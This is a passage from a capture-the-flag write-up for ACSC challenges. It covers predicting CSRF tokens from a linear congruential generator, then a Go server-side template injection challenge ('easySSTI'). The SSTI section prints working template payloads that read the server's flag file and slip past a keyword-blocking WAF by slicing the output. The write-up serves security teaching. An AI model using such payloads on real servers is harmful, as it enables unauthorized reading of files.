A = (X1-C)*(X0^-1) [mod M]

Finally, we can generate csrf-token for admin by compute X1 with known X0 and LCG parameters. As i computed all these by hands, there is no script in this wu :)).

Flag is: ACSC{C$rF_15_3VerYwh3Re!}

easySSTI

Information

Category	Points
Web	200

Description

Can you SSTI me?

Solution

Based on this article, I understand that I can call any function just like how we exploit SSTI via Python.

Reading the source, I found that in the middleware, it retrieves the Template header, converts it into a byte array buffer, and sets the “template” variable for the context. Then, it gets the “template” variable and returns it to the client if the template is not empty. Now, I can craft a simple payload to retrieve the flag file: {{.File “/flag”}}.

However, I also need to bypass the WAF, since it blocks the word “ACSC”. So, I need to find a way to encode or cut the string. And i came up with this payload:

{{(.Echo.Filesystem.Open ("../Flag")).Read (.Get "template")}} {{slice (.Get "template") 1}}

Convert those number to Ascii character to get the flag.

Flag is: ACSC{h0w_did_y0u_leak_me}